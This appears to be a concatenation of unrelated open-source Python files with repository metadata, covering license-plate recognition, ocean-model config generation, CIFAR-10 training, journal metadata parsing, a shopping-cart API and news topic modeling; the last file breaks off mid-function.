# Main.py import cv2 import numpy as np import os import DetectChars import DetectPlates import PossiblePlate import xlwt from xlwt import Workbook wbr = Workbook() sheet1 = wbr.add_sheet('Sheet 1') # module level variables ########################################################################## SCALAR_BLACK = (0.0, 0.0, 0.0) SCALAR_WHITE = (255.0, 255.0, 255.0) SCALAR_YELLOW = (0.0, 255.0, 255.0) SCALAR_GREEN = (0.0, 255.0, 0.0) SCALAR_RED = (0.0, 0.0, 255.0) showSteps = False ################################################################################################### def main(filename): try: blnKNNTrainingSuccessful = DetectChars.loadKNNDataAndTrainKNN() # attempt KNN training if blnKNNTrainingSuccessful == False: # if KNN training was not successful print("\nerror: KNN traning was not successful\n") # show error message return # and exit program # end if imgOriginalScene = cv2.imread(filename) # open image if imgOriginalScene is None: # if image was not read successfully print("\nerror: image not read from file \n\n") # print error message to std out os.system("pause") # pause so user can see error message return # and exit program # end if listOfPossiblePlates = DetectPlates.detectPlatesInScene(imgOriginalScene) # detect plates listOfPossiblePlates = DetectChars.detectCharsInPlates(listOfPossiblePlates) # detect chars in plates # cv2.imshow("imgOriginalScene", imgOriginalScene) # show scene image if len(listOfPossiblePlates) == 0: # if no plates were found print("\nno license plates were detected\n") # inform user no plates were found else: # else # if we get in here list of possible plates has at leat one plate # sort the list of possible plates in DESCENDING order (most number of chars to least number of chars) listOfPossiblePlates.sort(key = lambda possiblePlate: len(possiblePlate.strChars), reverse = True) # suppose the plate with the most recognized chars (the first plate in sorted by string length descending order) is the actual plate licPlate = listOfPossiblePlates[0] # cv2.imshow("imgPlate", licPlate.imgPlate) # show crop of plate and threshold of plate # cv2.imshow("imgThresh", licPlate.imgThresh) if len(licPlate.strChars) == 0: # if no chars were found in the plate print("\nno characters were detected\n\n") # show message return # and exit program # end if drawRedRectangleAroundPlate(imgOriginalScene, licPlate) # draw red rectangle around plate print("\nlicense plate read from image = " + licPlate.strChars + "\n") # write license plate text to std out print("----------------------------------------") writeLicensePlateCharsOnImage(imgOriginalScene, licPlate) # write license plate text on the image # cv2.imshow("imgOriginalScene", imgOriginalScene) # re-show scene image # cv2.imwrite("imgOriginalScene.png", imgOriginalScene) # write image out to file # end if else cv2.waitKey(0) # hold windows open until user presses a key return str(licPlate.strChars) except: return "not found" # end main ################################################################################################### def drawRedRectangleAroundPlate(imgOriginalScene, licPlate): p2fRectPoints = cv2.boxPoints(licPlate.rrLocationOfPlateInScene) # get 4 vertices of rotated rect cv2.line(imgOriginalScene, tuple(p2fRectPoints[0]), tuple(p2fRectPoints[1]), SCALAR_RED, 2) # draw 4 red lines cv2.line(imgOriginalScene, tuple(p2fRectPoints[1]), tuple(p2fRectPoints[2]), SCALAR_RED, 2) cv2.line(imgOriginalScene, tuple(p2fRectPoints[2]), tuple(p2fRectPoints[3]), SCALAR_RED, 2) cv2.line(imgOriginalScene, tuple(p2fRectPoints[3]), tuple(p2fRectPoints[0]), SCALAR_RED, 2) # end function ################################################################################################### def writeLicensePlateCharsOnImage(imgOriginalScene, licPlate): ptCenterOfTextAreaX = 0 # this will be the center of the area the text will be written to ptCenterOfTextAreaY = 0 ptLowerLeftTextOriginX = 0 # this will be the bottom left of the area that the text will be written to ptLowerLeftTextOriginY = 0 sceneHeight, sceneWidth, sceneNumChannels = imgOriginalScene.shape plateHeight, plateWidth, plateNumChannels = licPlate.imgPlate.shape intFontFace = cv2.FONT_HERSHEY_SIMPLEX # choose a plain jane font fltFontScale = float(plateHeight) / 30.0 # base font scale on height of plate area intFontThickness = int(round(fltFontScale * 1.5)) # base font thickness on font scale textSize, baseline = cv2.getTextSize(licPlate.strChars, intFontFace, fltFontScale, intFontThickness) # call getTextSize # unpack roatated rect into center point, width and height, and angle ( (intPlateCenterX, intPlateCenterY), (intPlateWidth, intPlateHeight), fltCorrectionAngleInDeg ) = licPlate.rrLocationOfPlateInScene intPlateCenterX = int(intPlateCenterX) # make sure center is an integer intPlateCenterY = int(intPlateCenterY) ptCenterOfTextAreaX = int(intPlateCenterX) # the horizontal location of the text area is the same as the plate if intPlateCenterY < (sceneHeight * 0.75): # if the license plate is in the upper 3/4 of the image ptCenterOfTextAreaY = int(round(intPlateCenterY)) + int(round(plateHeight * 1.6)) # write the chars in below the plate else: # else if the license plate is in the lower 1/4 of the image ptCenterOfTextAreaY = int(round(intPlateCenterY)) - int(round(plateHeight * 1.6)) # write the chars in above the plate # end if textSizeWidth, textSizeHeight = textSize # unpack text size width and height ptLowerLeftTextOriginX = int(ptCenterOfTextAreaX - (textSizeWidth / 2)) # calculate the lower left origin of the text area ptLowerLeftTextOriginY = int(ptCenterOfTextAreaY + (textSizeHeight / 2)) # based on the text area center, width, and height # write the text on the image cv2.putText(imgOriginalScene, licPlate.strChars, (ptLowerLeftTextOriginX, ptLowerLeftTextOriginY), intFontFace, fltFontScale, SCALAR_YELLOW, intFontThickness) # end function ################################################################################################### if __name__ == "__main__": count=0 imagelist=os.listdir("input") for img in imagelist: print(img) number=(main(f"input/{img}")) count=count+1 sheet1.write(count, 0, number) sheet1.write(count, 1, img) wbr.save("numberplate.xls")

41.864865

162

0.577534

4a07bf6a724e005ab50605c7ba553ecde8b4ac50

6,850

py

Python

forcing/dot_in/cas6_v3_lo8b/make_dot_in.py

parkermac/LiveOcean

bef3e1e729ada1069853dd4f57f79f452b54f4fa

[ "MIT" ]

4

2015-06-09T18:53:11.000Z

2021-08-19T01:39:38.000Z

forcing/dot_in/cas6_v3_lo8b/make_dot_in.py

parkermac/LiveOcean

bef3e1e729ada1069853dd4f57f79f452b54f4fa

[ "MIT" ]

null

forcing/dot_in/cas6_v3_lo8b/make_dot_in.py

parkermac/LiveOcean

bef3e1e729ada1069853dd4f57f79f452b54f4fa

[ "MIT" ]

1

2017-03-07T01:28:49.000Z

""" This creates and poulates directories for ROMS runs on gaggle. It is designed to work with the "BLANK" version of the .in file, replacing things like $whatever$ with meaningful values. """ import os import sys fpth = os.path.abspath('../../') if fpth not in sys.path: sys.path.append(fpth) import forcing_functions as ffun Ldir, Lfun = ffun.intro() #import netCDF4 as nc #import numpy as np from datetime import datetime, timedelta fdt = datetime.strptime(Ldir['date_string'], '%Y.%m.%d') fdt_yesterday = fdt - timedelta(1) print('- dot_in.py creating files for LiveOcean for ' + Ldir['date_string']) gtag = Ldir['gtag'] gtagex = gtag + '_' + Ldir['ex_name'] EX_NAME = Ldir['ex_name'].upper() #### USER DEFINED VALUES #### # which ROMS code to use roms_name = 'LO_ROMS' # account for differences when using biology do_bio = True multi_core = True # use more than one core if Ldir['run_type'] == 'backfill': days_to_run = 1.0 elif Ldir['run_type'] == 'forecast': days_to_run = float(Ldir['forecast_days']) # time step in seconds (should fit evenly into 3600 sec) if Ldir['blow_ups'] == 0: dtsec = 40 # was 40 2018/08/11 elif Ldir['blow_ups'] == 1: dtsec = 30 elif Ldir['blow_ups'] == 2: dtsec = 25 elif Ldir['blow_ups'] == 3: dtsec = 20 elif Ldir['blow_ups'] == 4: dtsec = 15 elif Ldir['blow_ups'] == 5: dtsec = 10 else: print('Unsupported number of blow ups: %d' % (Ldir['blow_ups'])) ndtfast = 20 restart_nrrec = '-1' # '-1' for a non-crash restart file, otherwise '1' or '2' his_interval = 3600 # seconds to define and write to history files rst_interval = 10 # days between writing to the restart file (e.g. 5) # which forcings to look for atm_dir = 'atm1/' # which atm forcing files to use ocn_dir = 'ocn4/' # which ocn forcing files to use riv_dir = 'riv2/' # which riv forcing files to use tide_dir = 'tide2/' # which tide forcing files to use #### END USER DEFINED VALUES #### # DERIVED VALUES if multi_core: if Ldir['np_num'] == 64: # for new mox nodes 2*32=64 2019_02 ntilei = '8' # number of tiles in I-direction ntilej = '8' # number of tiles in J-direction elif Ldir['np_num'] == 72: ntilei = '6' # number of tiles in I-direction ntilej = '12' # number of tiles in J-direction elif Ldir['np_num'] == 112: ntilei = '8' # number of tiles in I-direction ntilej = '14' # number of tiles in J-direction elif Ldir['np_num'] == 144: ntilei = '8' # number of tiles in I-direction ntilej = '18' # number of tiles in J-direction elif Ldir['np_num'] == 196: ntilei = '14' # number of tiles in I-direction ntilej = '14' # number of tiles in J-direction elif Ldir['np_num'] == 392: ntilei = '14' # number of tiles in I-direction ntilej = '28' # number of tiles in J-direction elif Ldir['np_num'] == 588: ntilei = '21' # number of tiles in I-direction ntilej = '28' # number of tiles in J-direction else: print('Unsupported number of processors: %d' % (Ldir['np_num'])) else: ntilei = '1' ntilej = '1' # if np.mod(3600,dtsec) != 0: # print('** WARNING: dtsec does not fit evenly into 1 hour **') if dtsec == int(dtsec): dt = str(dtsec) + '.0d0' # a string version of dtsec, for the .in file else: dt = str(dtsec) + 'd0' # a string version of dtsec, for the .in file ninfo = int(his_interval/dtsec) # how often to write info to the log file (# of time steps) nhis = int(his_interval/dtsec) # how often to write to the history files ndefhis = int(nhis) # how often to create new history files nrst = int(rst_interval*86400/dtsec) ntimes = int(days_to_run*86400/dtsec) # file location stuff date_string = Ldir['date_string'] date_string_yesterday = fdt_yesterday.strftime('%Y.%m.%d') dstart = str(int(Lfun.datetime_to_modtime(fdt) / 86400.)) f_string = 'f' + date_string f_string_yesterday = 'f'+ date_string_yesterday # where forcing files live (fjord, as seen from gaggle) # NOTE: eventually this should not be hard-wired. lo_dir = Ldir['parent'] + 'LiveOcean/' loo_dir = Ldir['parent'] + 'LiveOcean_output/' grid_dir = Ldir['parent'] + 'LiveOcean_data/grids/' + Ldir['gridname'] + '/' force_dir = loo_dir + gtag + '/' + f_string + '/' roms_dir = Ldir['parent'] + 'LiveOcean_roms/' # determine grid size # gfn = grid_dir + 'grid.nc' # ds = nc.Dataset(gfn) # h = ds['h'][:] # nrows0, ncols0 = h.shape # nrows = nrows0 - 2 # ncols = ncols0 - 2 #ds.close() # hardwired because we don't have netCDF4 nrows = 1302 - 2 ncols = 663 - 2 # determine number of layers s_dict = Lfun.csv_to_dict(grid_dir + 'S_COORDINATE_INFO.csv') nlayers = str(s_dict['N']) if do_bio: bio_tag = '' else: bio_tag = '' # the .in file dot_in_name = 'liveocean.in' # name of the .in file dot_in_dir00 = Ldir['roms'] + 'output/' Lfun.make_dir(dot_in_dir00) # make sure it exists dot_in_dir0 = Ldir['roms'] + 'output/' + gtagex + '/' Lfun.make_dir(dot_in_dir0) # make sure it exists dot_in_dir = dot_in_dir0 + f_string +'/' Lfun.make_dir(dot_in_dir, clean=True) # make sure it exists and is empty # where to put the output files according to the .in file out_dir0 = roms_dir + 'output/' + gtagex + '/' out_dir = out_dir0 + f_string + '/' if Ldir['start_type'] == 'continuation': nrrec = '0' # '-1' for a hot restart #ininame = 'ocean_rst.nc' # for a hot perfect restart ininame = 'ocean_his_0025.nc' # for a hot restart ini_fullname = out_dir0 + f_string_yesterday + '/' + ininame elif Ldir['start_type'] == 'new': nrrec = '0' # '0' for a history or ini file ininame = 'ocean_ini' + bio_tag + '.nc' # could be an ini or history file ini_fullname = force_dir + ocn_dir + ininame # END DERIVED VALUES ## create .in ########################## f = open('BLANK.in','r') f2 = open(dot_in_dir + dot_in_name,'w') in_varlist = ['base_dir','ntilei','ntilej','ntimes','dt','nrrec','ninfo', 'nhis','dstart','ndefhis','nrst','force_dir','grid_dir','roms_dir', 'atm_dir','ocn_dir','riv_dir','tide_dir','dot_in_dir', 'ini_fullname','out_dir','EX_NAME','roms_name','bio_tag', 'nrows','ncols', 'nlayers', 'ndtfast'] for line in f: for var in in_varlist: if '$'+var+'$' in line: line2 = line.replace('$'+var+'$', str(eval(var))) line = line2 else: line2 = line f2.write(line2) f.close() f2.close() ## npzd2o_Banas.in ########### f = open('npzd2o_Banas_BLANK.in','r') bio_dot_in_name = 'npzd2o_Banas.in' f3 = open(dot_in_dir + bio_dot_in_name,'w') in_varlist = ['force_dir','riv_dir','bio_tag'] for line in f: for var in in_varlist: if '$'+var+'$' in line: line2 = line.replace('$'+var+'$', str(eval(var))) line = line2 else: line2 = line f3.write(line2) f.close() f3.close()

32.159624

91

0.644088

4a07c1195a6f004b79e20eb89b6ddb058d73cf4b

370

py

Python

libunittest/test_tile.py

Shathra/puzzlib

98c63e69cb6c3de0aa3167a8834c224f7f25f6a7

[ "BSD-2-Clause" ]

1

2016-06-19T04:25:35.000Z

libunittest/test_tile.py

Shathra/puzzlib

98c63e69cb6c3de0aa3167a8834c224f7f25f6a7

[ "BSD-2-Clause" ]

null

libunittest/test_tile.py

Shathra/puzzlib

98c63e69cb6c3de0aa3167a8834c224f7f25f6a7

[ "BSD-2-Clause" ]

null

import unittest from puzz import * class TestTile( unittest.TestCase): def test_const(self): t = Tile() self.assertEqual( t.get_value(), Tile.DEFAULT_VALUE) t = Tile(5) self.assertEqual( t.get_value(), 5) def test_set_get( self): t = Tile() t.set_value( 3) self.assertEqual( t.get_value(), 3) t.set_value( 4) self.assertEqual( t.get_value(), 4)

18.5

54

0.678378

4a07c16e567ad2f4cf041a00a0a2539edb2409ea

3,978

py

Python

supervised_cifar10.py

luyuzhe111/simsiam

ced608e8e9ff51f431f52d7da10d25e68b516b79

[ "MIT" ]

3

2021-05-25T08:35:55.000Z

2021-08-02T02:26:06.000Z

supervised_cifar10.py

luyuzhe111/simsiam

ced608e8e9ff51f431f52d7da10d25e68b516b79

[ "MIT" ]

null

supervised_cifar10.py

luyuzhe111/simsiam

ced608e8e9ff51f431f52d7da10d25e68b516b79

[ "MIT" ]

null

import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import torchvision import torchvision.transforms as transforms import os import argparse from models.backbones.resnet import resnet50 parser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training') parser.add_argument('--lr', default=0.01, type=float, help='learning rate') args = parser.parse_args() device = 'cuda' if torch.cuda.is_available() else 'cpu' best_acc = 0 # best test accuracy start_epoch = 0 # start from epoch 0 or last checkpoint epoch # Data print('==> Preparing data..') transform_train = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)), ]) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)), ]) trainset = torchvision.datasets.CIFAR10( root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader( trainset, batch_size=64, shuffle=True, num_workers=2) testset = torchvision.datasets.CIFAR10( root='./data', train=False, download=True, transform=transform_test) testloader = torch.utils.data.DataLoader( testset, batch_size=64, shuffle=False, num_workers=2) classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck') # Model print('==> Building model..') net = resnet50() net.head = net.head[:3] net.fc = nn.Linear(2048, 10) net = net.to(device) if device == 'cuda': net = torch.nn.DataParallel(net) cudnn.benchmark = True criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=args.lr, momentum=0.9, weight_decay=5e-4) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200) # Training def train(epoch): print('\nEpoch: %d' % epoch) net.train() train_loss = 0 correct = 0 total = 0 for batch_idx, (inputs, targets) in enumerate(trainloader): upsampler = nn.Upsample(scale_factor=7) inputs = upsampler(inputs) inputs, targets = inputs.to(device), targets.to(device) optimizer.zero_grad() outputs = net(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() train_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() print(batch_idx, len(trainloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)' % (train_loss/(batch_idx+1), 100.*correct/total, correct, total)) def test(epoch): global best_acc net.eval() test_loss = 0 correct = 0 total = 0 with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(testloader): inputs, targets = inputs.to(device), targets.to(device) upsampler = nn.Upsample(scale_factor=7) inputs = upsampler(inputs) outputs = net(inputs) loss = criterion(outputs, targets) test_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() print(batch_idx, len(testloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)' % (test_loss/(batch_idx+1), 100.*correct/total, correct, total)) # Save checkpoint. acc = 100.*correct/total if acc > best_acc: print('Saving..') state = { 'net': net.state_dict(), 'acc': acc, 'epoch': epoch, } if not os.path.isdir('checkpoint'): os.mkdir('checkpoint') torch.save(state, './checkpoint/ckpt.pth') best_acc = acc for epoch in range(start_epoch, start_epoch+200): train(epoch) test(epoch) scheduler.step()

30.366412

89

0.632227

4a07c2c03c68b56f0a4584f9d3842daa680dfd09

10,069

py

Python

report/article.py

RaphaelaHeil/Variational-Sparse-Coding

8c90d91d1e8f0d2c2534b02c580365d2e96cc812

[ "MIT" ]

48

2018-11-01T22:04:27.000Z

2021-12-08T12:16:03.000Z

report/article.py

RaphaelaHeil/Variational-Sparse-Coding

8c90d91d1e8f0d2c2534b02c580365d2e96cc812

[ "MIT" ]

3

2019-12-05T04:27:27.000Z

2020-05-22T02:46:55.000Z

report/article.py

RaphaelaHeil/Variational-Sparse-Coding

8c90d91d1e8f0d2c2534b02c580365d2e96cc812

[ "MIT" ]

5

2019-01-07T19:16:12.000Z

2021-06-02T14:52:12.000Z

# ReScience yaml parser # Released under the BSD two-clauses licence import yaml class Contributor: def __init__(self, role, name, orcid="", email="", affiliations=[]): self.role = role self.name = name self.fullname = name self.lastname = self.get_lastname(name) self.abbrvname = self.get_abbrvname(name) self.orcid = orcid self.email = email self.affiliations = affiliations def get_abbrvname(self, name): if not name: return "" if ',' in name: lastname = name.split(",")[0] firstnames = name.split(",")[1].strip().split(" ") else: lastname = name.split(" ")[-1] firstnames = name.split(" ")[:-1] abbrvname = "" for firstname in firstnames: if "-" in firstname: for name in firstname.split("-"): abbrvname += name[0].strip().upper() + '.-' abbrvname = abbrvname[:-1] else: abbrvname += firstname[0].strip().upper() + '.' return abbrvname + " " + lastname def get_lastname(self, name): if not name: return "" # Rougier, Nicolas P. if ',' in name: lastname = name.split(",")[0].strip() firstname = name.split(",")[1].strip() # Nicolas P. Rougier else: lastname = name.split(" ")[-1] firstname = name.split(" ")[:-1] return lastname class Affiliation: def __init__(self, code, name, address=""): self.code = code self.name = name self.address = address class Repository: def __init__(self, name, url, doi): self.name = name self.url = url self.doi = doi class Replication: def __init__(self, cite, bib, url, doi): self.cite = cite self.bib = bib self.url = url self.doi = doi class Review: def __init__(self, url, doi): self.url = url self.doi = doi class Date: def __init__(self, date): try: import dateutil.parser date = dateutil.parser.parse(date) self.date = date self.year = date.year self.month = date.month self.day = date.day self.textual = self.date.strftime("%d %B %Y") except: import datetime now = datetime.datetime.now() self.date = now self.year = now.year self.month = now.month self.day = now.day self.textual = "" def __str__(self): return self.textual #return self.date.strftime("%d %B %Y") def __repr__(self): return self.textual # return self.date.strftime("%d %B %Y") class Article: def __init__(self, data): self.title = "" self.absract = "" self.type = "" self.domain = "" self.language = "" self.bibliography = "" self.keywords = [] self.authors = [] self.editors = [] self.reviewers = [] self.affiliations = [] self.code = "" self.data = "" self.contact = "" self.review = "" self.replication = "" self.date_received = "" self.date_accepted = "" self.date_published = "" self.journal_name = "" self.journal_issn = "" self.journal_volume = "" self.journal_issue = "" self.article_number = "" self.article_doi = "" self.article_url = "" self.parse(data) # Build authors list self.authors_short = "" # Family names only self.authors_abbrv = "" # Abbreviated firsnames + Family names self.authors_full = "" # Full names n = len(self.authors) if n > 3: self.authors_short = self.authors[0].lastname + " et al." self.authors_abbrv = self.authors[0].abbrvname + " et al." self.authors_full = self.authors[0].fullname + " et al." elif n==1: self.authors_short += self.authors[0].lastname self.authors_abbrv += self.authors[0].abbrvname self.authors_full += self.authors[0].fullname else: for i in range(n-2): self.authors_short += self.authors[i].lastname + ", " self.authors_abbrv += self.authors[i].abbrvname + ", " self.authors_full += self.authors[i].fullname + ", " if n >= 2: self.authors_short += self.authors[n-2].lastname + " and " self.authors_short += self.authors[n-1].lastname self.authors_abbrv += self.authors[n-2].abbrvname + " and " self.authors_abbrv += self.authors[n-1].abbrvname self.authors_full += self.authors[n-2].fullname + " and " self.authors_full += self.authors[n-1].fullname def parse(self, data): document = yaml.load(data) self.title = document.get("title", "") self.abstract = document.get("abstract","") or "" self.keywords = document["keywords"] or "" self.type = document["type"] or "" self.domain = document["domain"] or "" self.language = document["language"] or "" self.bibliography = document["bibliography"] or "" # Miscellaneous dates dates = {key:value for data in document["dates"] for key, value in data.items()} self.date_received = Date(dates["received"] or "") self.date_accepted = Date(dates["accepted"] or "") self.date_published = Date(dates["published"] or "") # Add authors for item in document["authors"]: role = "author" name = item["name"] or "" orcid = item.get("orcid","") or "" email = item.get("email","") or "" if item["affiliations"] is not None: affiliations = item["affiliations"].split(",") if "*" in affiliations: affiliations.remove("*") author = Contributor(role, name, orcid, email, affiliations) self.add_contributor(author) self.contact = author else: author = Contributor(role, name, orcid, email, affiliations) self.add_contributor(author) # Add author affiliations for item in document["affiliations"]: self.affiliations.append( Affiliation(item["code"], item["name"], item.get("address", ""))) # Add editor & reviewers for item in document["contributors"]: role = item["role"] name = item["name"] or "" orcid = item.get("orcid","") or "" contributor = Contributor(role, name, orcid) self.add_contributor(contributor) # Code repository (mandatory) if "code" in document.keys(): code = {key:value for data in document["code"] for key, value in data.items()} self.code = Repository("code", code.get("url","") or "", code.get("doi","") or "") else: raise IndexError("Code repository not found") # Data repository (optional) if "data" in document.keys(): data = {key:value for data in document["data"] for key, value in data.items()} self.data = Repository("data", data.get("url","") or "", data.get("doi","") or "") else: self.data = Repository("data", "", "") # Review review = {key:value for review in document["review"] for key, value in review.items()} self.review = Review(review.get("url","") or "", review.get("doi","") or "") # Replication replication = {key:value for replication in document["replication"] for key, value in replication.items()} self.replication = Replication(replication["cite"] or "", replication["bib"] or "", replication["url"] or "", replication["doi"] or "") # Article number & DOI article = {key:value for article in document["article"] for key, value in article.items()} self.article_number = article["number"] or "" self.article_doi = article["doi"] or "" self.article_url = article["url"] or "" # Journal volume and issue journal = {key:value for journal in document["journal"] for key, value in journal.items()} self.journal_name = str(journal.get("name","")) self.journal_issn = str(journal.get("issn", "")) self.journal_volume = journal["volume"] or "" self.journal_issue = journal["issue"] or "" def add_contributor(self, contributor): if contributor.role == "author": self.authors.append(contributor) elif contributor.role == "editor": self.editors.append(contributor) elif contributor.role == "reviewer": self.reviewers.append(contributor) else: raise(IndexError) # ----------------------------------------------------------------------------- if __name__ == '__main__': with open("metadata.yaml") as file: article = Article(file.read()) print(article.authors_full) print(article.authors_abbrv) print(article.authors_short)

34.482877

80

0.500844

4a07c42037d9b9b9b66be958efb165302f00935b

1,112

py

Python

chhotu/orders/apis.py

roshan007/chhout.web.backend

a952a53d908fb0c648b8b7279130166c2054f502

[ "MIT" ]

null

chhotu/orders/apis.py

roshan007/chhout.web.backend

a952a53d908fb0c648b8b7279130166c2054f502

[ "MIT" ]

null

chhotu/orders/apis.py

roshan007/chhout.web.backend

a952a53d908fb0c648b8b7279130166c2054f502

[ "MIT" ]

null

from rest_framework import generics, response, status from .models import Cart from .serializers import CartSerializer class AddToCart(generics.ListCreateAPIView): """ api to support adding products to cart """ model = Cart serializer_class = CartSerializer def get_queryset(self): print self.request.META if self.request.user.is_authenticated(): return self.model.objects.filter(user=self.request.user) else: return self.model.objects.filter(pid=self.request.META.get('urcpid', None), uid=self.request.META.get('gpduid')) def create(self, request, *args, **kwargs): serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) self.perform_create(serializer) return response.Response(serializer.data, status=status.HTTP_201_CREATED) def perform_create(self, serializer): serializer.validated_data['pid'] = self.request.META.get('urcpid', None) serializer.validated_data['uid'] = self.request.META.get('gpduid', None) serializer.save()

34.75

124

0.698741

4a07c4272d7ad81095e001f791aad691676c7796

708

py

Python

views/grades.py

MatthewKosloski/student-information-system

a3469647298d62c45c793e70a3ac70c0524340e2

[ "CECILL-B" ]

null

views/grades.py

MatthewKosloski/student-information-system

a3469647298d62c45c793e70a3ac70c0524340e2

[ "CECILL-B" ]

null

views/grades.py

MatthewKosloski/student-information-system

a3469647298d62c45c793e70a3ac70c0524340e2

[ "CECILL-B" ]

null

from .base import BaseView from table import Table class GradesView(BaseView): def __init__(self, controller): super().__init__(controller) self.set_choices([ 'Back' ]) ''' Creates a table listing the student's grades for each section. @param grades {list} @return Table ''' def get_grades_table(self, grades): table = Table(['COURSE', 'GRADE', 'PERCENT']) for item in grades: table.add_row([ item['course'], item['grade'], item['percent'] ]) return table def render(self, payload): self.print_title(payload['view_title']) print(self.get_grades_table(payload['grades'])) print() print(self.get_choices_list()) print() self.choice_prompt()

17.7

49

0.672316

4a07c63add5abc7ad9451d054d9385cd5e5d4161

7,694

py

Python

yanrin/topic_modeling.py

jaideep2/yanrin

ba34f7f1c9d7f43f4800ea5cc25a333553ce9186

[ "Apache-2.0" ]

null

yanrin/topic_modeling.py

jaideep2/yanrin

ba34f7f1c9d7f43f4800ea5cc25a333553ce9186

[ "Apache-2.0" ]

null

yanrin/topic_modeling.py

jaideep2/yanrin

ba34f7f1c9d7f43f4800ea5cc25a333553ce9186

[ "Apache-2.0" ]

null

import gensim from nltk.corpus import stopwords from nltk.stem import WordNetLemmatizer from gensim.corpora import Dictionary from gensim.models import CoherenceModel, LdaModel, TfidfModel import operator import psycopg2 from sql.statements import create_new_record, update_news_id, find_record from utils.helper import get_datequery doc2id_mapping = {} def get_doc(date): doc = [] try: conn = psycopg2.connect("dbname=jaideepsingh user=jaideepsingh") cur = conn.cursor() cur.execute('''select id,content from news where ''' + get_datequery(date)) rows = cur.fetchall() for i,row in enumerate(rows): doc2id_mapping[i] = row[0] doc.append(row[1]) conn.commit() cur.close() conn.close() except (Exception, psycopg2.DatabaseError) as error: print(error) finally: if conn is not None: conn.close() return doc def build_texts(doc): for d in doc: yield gensim.utils.simple_preprocess(d, deacc=True, min_len=3) def process_doc(doc): train_texts = list(build_texts(doc)) print('train len:', len(train_texts)) bigram = gensim.models.Phrases(train_texts, min_count=10) # for bigram collocation detection stops = set(stopwords.words('english')) # nltk stopwords list #Stopword Removal. texts = [[word for word in line if word not in stops] for line in train_texts] #Collocation detection. texts = [bigram[line] for line in texts] # Remove numbers, but not words that contain numbers. texts = [[token for token in line if not token.isnumeric()] for line in texts] # Remove words that are only two or less characters. texts = [[token for token in line if len(token) > 2] for line in texts] #Lemmatization (not stem since stemming can reduce the interpretability). lemmatizer = WordNetLemmatizer() texts = [[word for word in lemmatizer.lemmatize(' '.join(line), pos='v').split()] for line in texts] return texts def ret_top_model(corpus, dictionary, train_texts, num_times): """ Since LDAmodel is a probabilistic model, it comes up different topics each time we run it. To control the quality of the topic model we produce, we can see what the interpretability of the best topic is and keep evaluating the topic model until a certian threshold is crossed. Returns: ------- lm: Final evaluated topic model top_topics: ranked topics in decreasing order. List of tuples """ top_topics = [(0, 0)] rounds = 1 high = 0.0 out_lm = None print('dict size:',len(dictionary)) num_topics = int(len(dictionary)*0.1) #10% of all dictionary print('num_topics:',num_topics) while True: lm = LdaModel(corpus=corpus, num_topics=num_topics, id2word=dictionary, minimum_probability=0) coherence_values = {} for n, topic in lm.show_topics(num_topics=-1, formatted=False): topic = [word for word, _ in topic] cm = CoherenceModel(topics=[topic], texts=train_texts, dictionary=dictionary, window_size=10) coherence_values[n] = cm.get_coherence() top_topics = sorted(coherence_values.items(), key=operator.itemgetter(1), reverse=True) if high < top_topics[0][1]: high = top_topics[0][1] out_lm = lm print('round ',rounds,':',top_topics[0][1]) if rounds > num_times-1: break rounds+=1 return out_lm, top_topics, high def get_doc_topics(doc,lm,dictionary,doc_id): print('getting topics for doc',doc_id) topic_distribution = lm.get_document_topics(dictionary.doc2bow(doc[doc_id].split()), minimum_probability=0.6) topic_distribution = sorted(topic_distribution, key=lambda x: float(x[1]), reverse=True) topics = [] for t, f in topic_distribution: print('Prob:',t,f) for word, prob in lm.show_topic(t): topics.append(word) return topics def create_dates(year): from datetime import date,timedelta start = date(year,1,1) dates = [] while start.year == year and start.month == 1: start += timedelta(days=1) dates.append(start) return dates def process_dict(train_texts, doc_len): dictionary = Dictionary(train_texts) print('dict size:', len(dictionary)) # remove extremes no_below = int(doc_len * 0.008) filter_freq = int(doc_len * 0.2) print('no_below,filter_freq:', no_below, filter_freq) dictionary.filter_extremes(no_below=no_below) # remove words in less 0.8% of documents dictionary.filter_n_most_frequent(filter_freq) # Filter out 20% of most common word tokens # filter_tokens(bad_ids=None, good_ids=None) return dictionary def insert_new_row(cur, topic_name, date, news_id): cur.execute(create_new_record, {'name': topic_name, 'type': 'All', 'startdate': date, 'enddate': date, 'news_ids': '{%s}' % news_id}) print('new row done') def update_row(cur, topic_name, date, news_id, row_id): cur.execute(update_news_id, {'news_ids': '%s' % news_id, 'id' : row_id}) print('rows updated') def find_relevant_rows(cur, topic_name, date): cur.execute(find_record, {'name': topic_name, 'date': date}) return cur.fetchall() def insert_into_relevant_topic(cur, topic_name, news_id, date): rows = find_relevant_rows(cur, topic_name, date) print('insert_into_relevant_topic rows:',rows) if not rows: # if topic name doesnt exist for current date insert new topic with news_ids = 0 and given date print('insert_new_row') insert_new_row(cur, topic_name, date, news_id) else: # if topic exists append news_id to said topic print('update_row') update_row(cur, topic_name, date, news_id, rows[0][0]) def main(): ''' 0. decide what date or range of dates to run this on 1. create dictionary and corpus 2. create model 3. for each doc get top topic 4. insert topic into topic table with date :return: ''' datez = create_dates(2016) doc = [] for date in datez: doc.extend(get_doc(date)) doc_len = len(doc) train_texts = process_doc(doc) dictionary = process_dict(train_texts,doc_len) corpus = [dictionary.doc2bow(text) for text in train_texts] print('doc_len:',doc_len) print('corpus size:',len(corpus)) print('lda+lsi model start!') num_times = 1 lm, top_topics, high = ret_top_model(corpus,dictionary,train_texts,num_times) save_model = True load_model = False if save_model: 